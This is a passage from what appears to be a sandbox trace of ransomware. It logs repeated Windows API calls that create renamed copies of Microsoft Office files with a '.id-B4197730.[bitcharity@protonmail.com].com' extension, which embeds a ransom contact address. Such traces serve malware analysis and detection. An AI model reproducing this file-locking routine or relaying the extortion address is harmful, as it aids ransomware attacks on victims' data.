office\\root\\office16\\1033\\occmpvrd.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.099] CloseHandle (hObject=0x1194) returned 1 [0264.100] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.100] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.100] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OCMODVRD.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\ocmodvrd.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.100] CloseHandle (hObject=0x1194) returned 1 [0264.101] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.101] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.101] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\officeinventoryagentfallback.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\officeinventoryagentfallback.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.101] CloseHandle (hObject=0x1194) returned 1 [0264.102] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.102] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.102] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\officeinventoryagentlogon.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\officeinventoryagentlogon.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.102] CloseHandle (hObject=0x1194) returned 1 [0264.105] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.105] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.105] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONGuide.onepkg.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\onguide.onepkg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.105] CloseHandle (hObject=0x1194) returned 1 [0264.107] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.107] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.107] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTFORM.DAT.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\outform.dat.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.107] CloseHandle (hObject=0x1194) returned 1 [0264.108] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.108] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.108] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTLPERF.H.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\outlperf.h.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.109] CloseHandle (hObject=0x1194) returned 1 [0264.109] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.109] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.110] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTLPERF.INI.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\outlperf.ini.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.110] CloseHandle (hObject=0x1194) returned 1 [0264.111] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.111] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.111] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PASSPORT.CSS.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\passport.css.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.335] CloseHandle (hObject=0x1194) returned 1 [0264.705] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.706] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.706] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR10F.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\pdir10f.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0265.192] CloseHandle (hObject=0x11d0) returned 1 [0265.309] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0265.309] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0265.310] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\it\\LocalizedStrings.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\it\\localizedstrings.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0265.310] CloseHandle (hObject=0x1068) returned 1 [0265.313] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0265.313] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0265.313] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ja\\LocalizedStrings.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\ja\\localizedstrings.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0265.314] CloseHandle (hObject=0x1068) returned 1 [0265.324] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0265.324] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0265.324] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\kk\\LocalizedStrings.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\kk\\localizedstrings.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0265.325] CloseHandle (hObject=0x1068) returned 1 [0265.327] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0265.327] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0265.328] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ko\\LocalizedStrings.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\ko\\localizedstrings.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0265.328] CloseHandle (hObject=0x1068) returned 1 [0265.331] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0265.331] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0265.331] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\lt\\LocalizedStrings.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\lt\\localizedstrings.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0265.331] CloseHandle (hObject=0x1068) returned 1 [0265.334] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0265.334] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0265.335] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\lv\\LocalizedStrings.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\lv\\localizedstrings.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0265.335] CloseHandle (hObject=0x1068) returned 1 [0265.337] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0265.337] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0265.337] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ms\\LocalizedStrings.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\ms\\localizedstrings.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0265.338] CloseHandle (hObject=0x1068) returned 1 [0266.078] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.078] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.078] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\nl\\LocalizedStrings.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\nl\\localizedstrings.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.078] CloseHandle (hObject=0x1274) returned 1 [0266.279] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.280] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.280] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Bibliography\\Style\\CHICAGO.XSL.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\bibliography\\style\\chicago.xsl.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.280] CloseHandle (hObject=0x1278) returned 1 [0266.290] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.290] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.290] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\Sounds\\People\\COUGH.WAV.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\groove\\sounds\\people\\cough.wav.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.290] CloseHandle (hObject=0x1278) returned 1 [0266.292] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.292] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.292] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\Sounds\\People\\GIGGLE.WAV.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\groove\\sounds\\people\\giggle.wav.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.292] CloseHandle (hObject=0x1278) returned 1 [0266.293] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.293] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.293] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\Sounds\\People\\HICCUP.WAV.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\groove\\sounds\\people\\hiccup.wav.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.293] CloseHandle (hObject=0x1278) returned 1 [0266.294] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.294] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.294] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\Sounds\\People\\MMHMM.WAV.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\groove\\sounds\\people\\mmhmm.wav.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.294] CloseHandle (hObject=0x1278) returned 1 [0266.295] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.295] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.295] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\Sounds\\People\\SNEEZE.WAV.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\groove\\sounds\\people\\sneeze.wav.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.295] CloseHandle (hObject=0x1278) returned 1 [0266.296] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.296] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.296] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\Sounds\\People\\THROAT.WAV.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\groove\\sounds\\people\\throat.wav.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.297] CloseHandle (hObject=0x1278) returned 1 [0266.297] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.297] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.297] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\Sounds\\People\\Whistling.wav.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\groove\\sounds\\people\\whistling.wav.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.298] CloseHandle (hObject=0x1278) returned 1 [0266.300] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.300] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.300] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\Sounds\\Places\\ALARM.WAV.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\groove\\sounds\\places\\alarm.wav.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.300] CloseHandle (hObject=0x1278) returned 1 [0266.301] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.301] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.301] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\Sounds\\Places\\BUZZ.WAV.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\groove\\sounds\\places\\buzz.wav.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.301] CloseHandle (hObject=0x1278) returned 1 [0266.302] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.302] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.302] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\Sounds\\Places\\LASER.WAV.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\groove\\sounds\\places\\laser.wav.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.302] CloseHandle (hObject=0x1278) returned 1 [0266.303] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.303] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.303] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\Sounds\\Places\\RADAR.WAV.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\groove\\sounds\\places\\radar.wav.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.303] CloseHandle (hObject=0x1278) returned 1 [0266.304] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.304] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.304] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\Sounds\\Places\\TOOT.WAV.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\groove\\sounds\\places\\toot.wav.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.304] CloseHandle (hObject=0x1278) returned 1 [0266.304] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.305] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.305] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\Sounds\\Places\\VIBE.WAV.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\groove\\sounds\\places\\vibe.wav.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.305] CloseHandle (hObject=0x1278) returned 1 [0266.305] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.305] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.306] CreateFileW 